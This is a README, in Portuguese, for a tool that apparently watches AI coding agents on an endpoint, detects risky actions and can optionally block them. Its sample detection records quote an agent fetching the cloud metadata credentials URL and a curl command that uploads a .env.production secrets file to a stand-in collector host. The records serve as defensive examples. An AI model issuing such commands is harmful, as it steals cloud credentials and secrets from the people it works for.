numbat

Visibilidade de endpoint para a atividade de agentes de IA, com detecção local, bloqueio opcional pré-ação e reconstrução forense.

O numbat observa agentes suportados de desktop, CLI, IDE e gateway através de hooks e plugins locais, logs OTLP/HTTP e artefatos de sessão em disco. A atividade ao vivo e em repouso é normalizada num único modelo de eventos e avaliada pelo mesmo motor de regras CEL. A deteção é executada localmente; os registos podem ser escritos para stdout ou para um ficheiro local e, opcionalmente, entregues por HTTP.

A matriz de cobertura é a referência autoritativa para cada host e superfície. O bloqueio está desativado por predefinição e limitado a hooks pré-ação síncronos suportados; consulte o guia de aplicação.

Funcionalidades

• Monitorização ao vivo através de hooks, plugins e exportadores de logs OTLP/HTTP.
• Deteção local no endpoint com regras CEL incorporadas, regras de sequência multi-passo e regras YAML personalizadas.
• Bloqueio opcional através de hooks pré-ação suportados. O modo de aplicação está desativado por predefinição e aplica-se apenas a regras marcadas com enforce: true; todas as regras incluídas são apenas de monitorização.
• Reconstrução forense a partir de artefatos de sessão em disco suportados, sem instrumentação prévia do numbat.
• Registos NDJSON versionados para eventos, descobertas, decisões de aplicação, indicadores e resumos de análise. Os eventos e descobertas mantêm referências de origem; os JSON Schemas definem o formato de transmissão.
• Análise de artefatos apenas de leitura com redação de segredos. A saída normal de registos nunca inclui uma transcrição bruta completa; adicionar ficheiros de evidência bruta a um pacote de caso é opcional.
• Ferramentas de inventário e investigação para descoberta de agentes apenas de leitura, cronologias por sessão e pacotes de caso portáveis com manifestos SHA-256.
• Distribuição em binário único para macOS, Linux e Windows, compilado sem cgo.

Início rápido

Instalação

Descarregue uma versão para macOS, Linux, ou Windows em amd64 ou arm64. Cada versão inclui somas de verificação SHA-256. Também pode instalar com Go 1.26.6 ou mais recente:

go install github.com/perplexityai/numbat/cmd/numbat@latest

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

Inventário e análise

Estes comandos apenas de leitura não instalam hooks nem alteram a configuração dos agentes:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

Monitorizar e aplicar

Instale monitorização ao vivo para qualquer agente com suporte de captura ao vivo; os comandos abaixo usam o Codex como exemplo concreto. Os hooks começam em modo apenas de monitorização. --emit all escreve eventos, descobertas, indicadores e decisões de aplicação aplicáveis para ~/.numbat/records.ndjson.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Confiança nos hooks: Os requisitos variam consoante o agente e o âmbito. Para o hook de utilizador do Codex acima, reveja e confie na sua definição atual em /hooks (CLI) ou Settings > Hooks (app), incluindo após alterações como --enforce. Os hooks do Codex instalados com --managed são confiados por política. hook status verifica a configuração, não a execução ou entrega. Consulte o guia de implementação para outros agentes e âmbitos.

Todas as regras incluídas são apenas de monitorização. Para aplicar uma deteção, copie o seu YAML incluído completo para um diretório de operador controlado, mantenha o mesmo id, adicione enforce: true e incremente a sua versão. Valide e instale essa política efetiva para um hook pré-ação suportado:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Exemplo de saída

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}